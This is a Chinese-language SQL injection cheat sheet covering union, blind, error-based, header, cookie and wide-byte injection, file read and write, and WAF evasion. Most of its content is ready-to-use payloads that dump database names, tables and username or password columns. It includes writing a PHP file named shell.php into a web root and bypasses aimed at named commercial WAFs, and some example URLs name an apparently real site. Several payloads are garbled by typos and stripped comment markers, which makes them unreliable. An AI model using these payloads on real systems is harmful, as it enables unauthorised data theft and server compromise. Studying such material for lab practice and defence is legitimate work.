目录
- SQL注入介绍 2
1.1. 产生原因 2
1.2. 相关函数 2
1.3. 0x3a、0x5c 3 - GET普通注入(回显) 3
2.1. SQL注入分类 3
2.2. 基于报错的SQL注入 3 - GET盲注 4
3.1. 盲注介绍/小知识 4
3.2. 布尔型盲注 5
3.3. 时间型盲注 6 - GET报错注入 8
4.1. 介绍 8
4.2. 操作语句 8
4.3. 各种函数的报错语句(了解) 9 - POST普通注入(回显) 10
- POST盲注 10
6.1. 布尔型注入 10
6.2. 时间型注入 10 - 偏移注入 11
- HTTP头部中的注入 12
8.1. 介绍 12
8.2. HTTP User-Agent注入 12
8.3. HTTP Referer注入 12 - POST update注入 12
- COOKIE注入 13
- 宽字节注入 13
11.1. 宽字节基础 13
11.2. 利用注入 13 - MySQL注入读写文件 13
12.1. Mysql注入读文件 13
12.2. Mysql注入写文件 14 - SQL注入绕过 14
13.1. 介绍 14
13.2. 方式(越诡异越好) 14
1.SQL注入介绍
1.1.产生原因
1. 不安全的数据库配置
2. 转义字符处理不当
3. 类型处理不当
4. 查询语句组装不当
5. 错误处理不当
6. 多个提交处理不当
1.2.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@secure_file_priv 与mysql读取写入有关
/当secure_file_priv 值为空时候三个函数不限制(into oufile()、load_file()、into dumpfile()),值为指定目录时只能导入导出指定目录,当为NULL时候禁止导入导出功能/
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
1.3.0x3a、0x5c
0x3a: ::
0x5c:
2.GET普通注入(回显)
2.1.SQL注入分类
SQL注入分为两类,分别是数字型和字符型。
数字型:select * from table where id = 用户输入的ID #ID=1,2,3,…
字符型:select * from table where id = ‘用户输入的ID’
2.2.基于报错的SQL注入
通过对URL中对应的ID值进行修改,可以是正常的数字、字母、单引号、双引号、括号、反斜杠等等,或者就是直接在原有ID的基础上加一个.1、.0只要产生报错就行。
提示:Mysql数据库 5.0以上的版本存在information_schema
emmm斜杠效果好像更好一点
Select Login_name,password from admin where id=1
Select Login_name,password from admin where id=’1’
Select Login_name,password from admin where id=”1”
Select Login_name,password from admin where id=(‘1’)
Order by 判断字段数
Order by 5 出错,页面返回异常
Order by 4 页面返回正常,说明存在4个字段
利用union select 联合查询,获取相应的数据
#显示存在数据的位置
1’union select 1,2,3,4–+
#爆出数据库名字
1’union select 1,2,group_concat(databse()),4–+
#查询得到数据库中的表,得到当前 dvwa 数据库中两个表为 guestbook,users。
1’ union select (select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),2 –
#爆出 users 和 guestbook 表格中的字段
1’ union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’),2 –
#在查询 columns 中的 users 表时,里面可能有多个数据库会有users 表重名,所以最准确的结果,条件匹配上增加table_schema=’dvwa’ ,得到结果才是最准确的。
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’),2 –
#爆出表 users 和 guestbook 关键字段的内容
1’ and 1=2 union select (select group_concat(user_id,0x3a,user,0x3a,password)from dvwa.users ),2 –
3.GET盲注
3.1.盲注介绍/小知识
贼详细讲的:https://blog.youkuaiyun.com/pygain/article/details/53086389
盲注分为:基于布尔型的注入以及基于时间型的盲注
布尔盲注的应用程序仅仅返回True以及False两种方式
时间类型的盲注则是根据页面响应时间的的长短进行的判断,反应时间较长,则说明页面正常,而短时间,则说明页面的返回错误
返回数据中的某几行数据limit()
Limit(m,n)函数
说明:m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。(m 可设为 0)
语法示例:
select * from 表名 limit m,n;
select user from users limit 0,1; //检索记录行 1
mid(string,start,length)函数
其中,每个参数的含义如下:
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。 从第几个开始截取
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。 一次性截取几个字符
语法示例:
select user from users limit 0,1;
select mid(user,1,1) from users limit 0,1;
3.2.布尔型盲注
布尔型的盲注可以通过构造逻辑判断(来比较大小)进而得到数据库的内容
#判断当前数据库的长度
1’ and length(database())>1–+
判断数据库的字符,m从1开始(判断数据库的名称)
1’ and ascii(mid(database(),m,1))>1–+
#判断数据库中各个表的长度
id=1’ and length((Select table_name from information_schema.tables where
table_schema=‘security’ limit m,1))>n–+
#判断数据库中,各个表的名称
id=1’and ascii(mid((Select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),m,1))>n–+
#查看security数据库中users表中字段的个数 //没毛病
id=1’ and length((Select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’limit m,1))>1–+
#判断users表中,各个字段的名称
id=1’and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit n,1),m,1))>0–+
#判断users的行数
id=1’ and (select count(*) from users)>n–+
#判断username的字段长度
id=1’and length((select username from users limit 0,1))>3–+
#截取第 1 个字符串,并转换为 ascii,得到准确的数据
id=1’And Ascii(substr((select username from users limit 0,1),1,1))>67–+
3.3.时间型盲注
在mysql中,if()函数语法如下:
if(expr1,expr2,expr3)如果expr1为真的话,那么就执行expr2,否则的话,将会将会执行expr3
语法示例:
select user from users where user_id=1 and
Id=1 and IF(ascii(substr(database(),1,1)>1,SLEEP(5),1));
这里如果条件 ascii(substr(database(),1,1))>1 成立,则执行 sleep(5),否
则执行 1,及如果条件成立的话,沉睡5秒,否则立即返回结果。
基于此,在注入时,可以构造 if 函数,通过 sleep()延迟判断表达式正确与否。
注入语句:id =1 and IF(ascii(substr(database(),1,1))>1,SLEEP(5),1)–+
#判断注入点
Name=user’ and sleep(5) and ‘1’=’1 字符型
Name=user’ and sleep(5) and ‘1’=’2
Name=user and sleep(5) and 1=1 数字型
Name=user and sleep(5) and 1=2
#枚举出当前的数据库的名称
id=1’ and if(ascii(substr(database(),m,1)) > n, sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第一个字段的第一个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>1,sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第一个字段的第二个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>1,sleep(3),1)–+
#枚举出当前数据库的表名 取出数据库中第二个字段的第一个字符
id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1))>1,sleep(3),1)–+
#爆出当前数据表的字段名
id=1’ and if(ascii(mid((select column_name from information_schema.columns where table_name=‘user’ limit 0,1),1,1))>0,sleep(3),1)–+
#爆出各个字段对应的数据项内容
id=1’ and if(ascii(substr((select username from security.users limit a,1),m,1))>0,sleep(3),1)–+
4.GET报错注入
4.1.介绍
报错注入形式上两个嵌套的查询,即select…(select…),里面那个seelct被称为子查询,他的执行顺序也是先执行子查询,然后在执行外面的select,双注入主要涉及到了几个SQL函数。
Rand()随机函数,返回0-1之间的某个值。
Floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
Count()聚合函数也称为计数函数,返回查询对象的总数
Group by clause分组语句,按照查询结果分组
通过报错来显示具体的信息。
报错注入通过concat()函数进行联系,而group_concat()的话会出现错误
4.2.操作语句
#判断报错的注入点
union select count(*),(concat(floor(rand(0)*2),select version())) x from user group by x;
#爆数据库
union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata
group by x#
#爆表名
union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from
information_schema.tables wherer table_schema=‘security’ limit 0,1)) x from
information_schema.schemata group by x#
#曝字段
union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from
information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ limit 0,1)) x from information_schema.schemata group by x#
#曝内容
select count(*),concat(floor(rand(0)*2),(select concat(user,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
4.3.各种函数的报错语句(了解)
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from
information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select
column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat
(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
4、通过NAME_CONST报错,注入语句如下:
And exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select
name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
5.POST普通注入(回显)
进行抓包,在数据包中进行修改
Select uname,password from admin where uname=’xxx’ and password=’xxx’
当我们在uname=’xxx后加入一个反斜杠后,反斜杠会将后面的单引号转义,使成为语句的一部分,而后面的password=’的这个’会与uname=’的’进行闭合,造成报错。
所以,在POST注入时,抓包之后,在数据包中进行修改,过程与GET型的一样。
6.POST盲注
6.1.布尔型注入
呕吼,巧了,就是地点的不同,在抓包之后,直接在burp进行修改,
Uname=admin’ and length(databse())>0 --+ & password=’123’
其他操作一样。
6.2.时间型注入
在存在注入点POST提交参数后加and if(length(database())>5,sleep(5),null)。
如果执行的页面相应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。
也是在数据包中进行操作
Uname=admin’ and if(ascii(substr(database(),m,1)) >
n,sleep(3),1)–+ & password=’a’
其他操作与GET型的一样。
7.偏移注入
偏移注入:解决注入时候,知道表名,不知道列名的情况
select * from admin as a inner join admin as b on a.id=b.id
admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,
显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
order by 得到18列
利用“*”代替sys_admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。
http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误
直到…
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确
说明了sys_admin表下有11个字段。
偏移注入的基本公式为:
order by 出的字段数减去号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-72=4
得到答案等于:4
然后依旧是套公式的过程。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。
如此便爆出了账号密码。
8.HTTP头部中的注入
8.1.介绍
SQL注入大都会在用户提交的参数上面采用措施,进行过滤,但是对于HTTP头部中的提交内容很有可能就没有进行过滤。
例如HTTP头部中的User-Agent、Referer、Cookie等
8.2.HTTP User-Agent注入
payLoad内容:
Updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:Xpath字符串。
第三个参数:替换查找到的符合条件的数据。
‘and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1
抓包进行修改
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36‘and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’=’1
8.3.HTTP Referer注入
类似于User-Agent注入
Referer:https://www.baidu.com/liad/qwe/12
抓包修改
Referer:https://www.baidu.com/liad/qwe/12’ or ’1’=’1
Referer:https://www.baidu.com/liad/qwe/12’ or if (length(database()>0,sleep(3),1) or ‘1’=’1
9.POST update注入
9.1.介绍
Mysql中的update更新数据
update语句可用来修改表中的数据,简单来说基本的使用方式为:
Update 表名 set 列名=新值 where 更新条件:
Update user set password=’admin’ where name=’admin’
抓包,在数据包中进行修改
Uname=admin & password= admin ‘ or updatexml(1,concat(0x7e,(select user()),0x7e),1) or ‘1’=’1# &submit=submit
10.COOKIE注入
代码中使用cookie传递参数,但是没有对cookie中传递的参数进行过滤操作,导致SQL注入漏洞的产生。
在输入用户名密码后,进行跳转,找到其中有参数的cookie,进行注入探测。
Cookie:uname=admin;_guid=1eqwdfs4ethrthgf;monitor=asdqw12e3erwrge1132;
Cookie:uname=admin’updatexml(1,concat(0x7e,(select version()),0x7e),1);_guid=1eqwdfs4ethrthgf;monitor=asdqw12e3erwrge1132;
11.宽字节注入
11.1.宽字节基础
GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASDII编码,MYSQL默认字符集是GBK等宽字节符集。
%DF’ 会被PHP中的addslashes函数转译为%DF\,gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以。
11.2.利用注入
?id=1
?id=-1%df’ union select 1,2,3 --+
?id=-1%df’ union select 1,2,version() --+
12.MySQL注入读写文件
12.1.Mysql注入读文件
读取前提:
1.用户权限足够高,尽量具有root权限
2.Secure_file_priv不为NULL。(mysql 5.6.34版本以后 secure_file_priv的值默认为NULL)
Id=-1’ union select 1,load_file(“F:\flag.txt”),3 --+
12.2.Mysql注入写文件
写入前提:
1.权限足够
2.开启general_log=on
Id=-1’ union select 1,’<?Php phpinfo();?>’,3 into outfile “F:\phpstydy\www\shell.php”–+
13.SQL注入绕过
13.1.介绍
程序中设置了过滤关键字,但是并没有对关键字的组成进行深入的分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
13.2.方式(越诡异越好)
大小写变种 and 1=2 —> AND 1=3
HTTP参数控制 绿盟waf http1.1 —> http1.3 这种
使用SQL注释 //union//select (//代替空格)
/d/and/c/1=1 破环安全狗的正则匹配规则
/asdasd/and/ewwa@sd^as/1=1
/!and/ 1=1
/!4001and/ 1=1 (比较好用)
//, – , //, #, --+, – -, ;%00
如果注释符被过滤的话,可以考虑闭合最后的字段
Select * from user where id=’1’
?id=-1’ union select 1,2,’3 limit 0,1 #这样的话,语句就能够执行了
成为了 ?id=’-1’ union select 1,2,’3’ limit 0,1
使用URL编码 '—>%27 空格–>%20
使用空字节 %01 %00 an%00d 1=1
使用嵌套过分离 anandd
替换 and–>&& or–>|| 空格–>%20 换行–>%0a tap键–>%09
使用非标准入口点 //非主站,防守相对较弱的副站
避开自定义过滤器 //人家网站定义的不允许上传的参数列表 eg:and or union select
and–>a+nd a%nd 'a’nd %A0and
干扰字符污染
空字符、空格、TAB换行、注释、特殊的函数等等都可以。
比如下面的:
SQL:sEleCt+1-1+vERsIoN /!/ ();yohehe???? SQL2:select/*!*/
version`();
无空格的查询 index.php?id=2e0and{’'select(version())>7}
将get改成post或者是cookie提交 (贼牛逼)
在浏览器里,将参数?id=1 and 1=1作为POST的数据进行提交
www.abcd.com/news.asp 在POST参数框中,将?id=1 and 1=1进行提交
特殊运算符绕过:
and -1=-1 -1=-2
and 1=1 2=2
十六进制绕过
and 0x0 <> 0x1-- +
and 0x0 <> 0x0-- +
and 0x0 <=> 0x0-- +
and 0x0 <=> 0x1-- +
and 0x0 xor 0x1-- +
and 0x0 xor 0x0-- +
binary绕
and BINARY 1-- +
and BINARY 0-- +
conv绕
and CONV(1,11,2)-- +
and CONV(0,11,2)-- +
concat绕
and CONCAT(1)-- +
and CONCAT(0)-- +
绕order by
内联
?id=1’/!14440order by/ 3 – +
?id=1’order%23%0aby 3 – +
联合查询
关键在于打乱union select
?id=-1’ /!14440union//*!14440select */1,2,3 – +
注释符后跟垃圾字符(垃圾字符换行也就是%23a%0a的方法来绕)
id=-1’union%23hhh%0aselect 1,2,3–+
union distinct | distinctrow | all
id=-1’ union distinct %23%0aselect 1,2,3 – +
id=-1’ union distinctrow %23%0aselect 1,2,3 – +
id=-1’ union all%23%0aselect 1,2,3 – +
报错注入
关键在于updatexml()结构打乱
and updatexml(1,1,1 不拦截
and updatexml(1,1,1) 拦截
盲注(不让他匹配完整括号对)
布尔盲注
?id=1’ and hex(LEFT(user(/!)/,1))=%23a%0a72 – +
?id=1’ and hex(right(user(/!)/,1))=%23a%0a72 – +
?id=1' and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +
?id=1' and hex(substr(user(/*!)*/,1,1))=72 -- +
时间盲注
?id=1' and sleep(3/*!)*/-- +
其他
?id=1’ and length(1)<=>1 – +
?id=1’ and length(database(/!))/<=>8 – +